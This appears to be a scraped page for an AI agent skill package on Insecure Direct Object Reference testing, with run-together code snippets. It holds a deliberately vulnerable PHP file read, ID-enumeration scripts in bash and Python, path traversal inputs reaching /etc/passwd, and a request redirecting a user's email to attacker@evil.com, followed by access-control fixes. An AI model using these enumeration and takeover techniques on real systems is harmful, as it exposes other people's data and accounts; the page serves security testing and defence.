Loading...
Loading...
Professional Skills and Methodologies for Insecure Direct Object Reference (IDOR) Testing
npx skill4agent add ed1s0nz/cyberstrikeai idor-testing// Directly use user input ID
$file = file_get_contents('/files/' . $_GET['id'] . '.pdf');/user?id=1
/user?id=2
/user?id=3/user?id=550e8400-e29b-41d4-a716-446655440000
/user?id=550e8400-e29b-41d4-a716-446655440001/files/document1.pdf
/files/document2.pdf
/files/invoice_2024_001.pdfCurrent User ID: 100
Test: /user?id=101
Test: /user?id=102/files/user100_document.pdf
Test: /files/user101_document.pdf/admin/users?id=1
/admin/settings
/admin/logs# Sequential enumeration
for i in {1..1000}; do
curl "https://target.com/user?id=$i"
done
# Observe response differences/files/invoice_12345.pdf
/files/report_67890.pdf
/files/contract_11111.pdf/files/../admin/config.php
/files/../../etc/passwdPOST /api/user/update
Content-Type: application/json
{
"id": 101,
"email": "attacker@evil.com"
}import requests
for user_id in range(1, 1000):
response = requests.get(f'https://target.com/api/user/{user_id}')
if response.status_code == 200:
print(f"User {user_id}: {response.json()}")Original ID: 123
Encoded: MTIz
URL: /user?id=MTIzOriginal ID: 123
Hash: 202cb962ac59075b964b07152d234b70
URL: /user?id=202cb962ac59075b964b07152d234b70/user?id=123
/user?uid=123
/user?user_id=123
/user?account=123GET /user/123
POST /user/123
PUT /user/123
PATCH /user/123/api/v1/user/123
/api/user/123
/user/123
/users/123# Use ZAP for IDOR scanning
zap-cli active-scan --scanners all http://target.comimport requests
import json
def test_idor(base_url, user_id_range):
for user_id in user_id_range:
url = f"{base_url}/user?id={user_id}"
response = requests.get(url)
if response.status_code == 200:
data = response.json()
print(f"User {user_id}: {data.get('email', 'N/A')}")
test_idor("https://target.com", range(1, 100))def get_user_data(user_id, current_user_id):
# Verify permissions
if user_id != current_user_id:
raise PermissionDenied("Cannot access other user's data")
# Return data
return db.get_user(user_id)# Use mapping table
user_mapping = {
'abc123': 100,
'def456': 101,
'ghi789': 102
}
def get_user(mapped_id):
real_id = user_mapping.get(mapped_id)
if not real_id:
raise NotFound()
return db.get_user(real_id)def check_permission(user, resource):
if user.role == 'admin':
return True
if resource.owner_id == user.id:
return True
return Falsedef update_user_data(user_id, data, current_user):
user = db.get_user(user_id)
# Verify ownership
if user.id != current_user.id and current_user.role != 'admin':
raise PermissionDenied()
# Update data
db.update_user(user_id, data)import uuid
# Use UUID instead of sequential ID
resource_id = str(uuid.uuid4())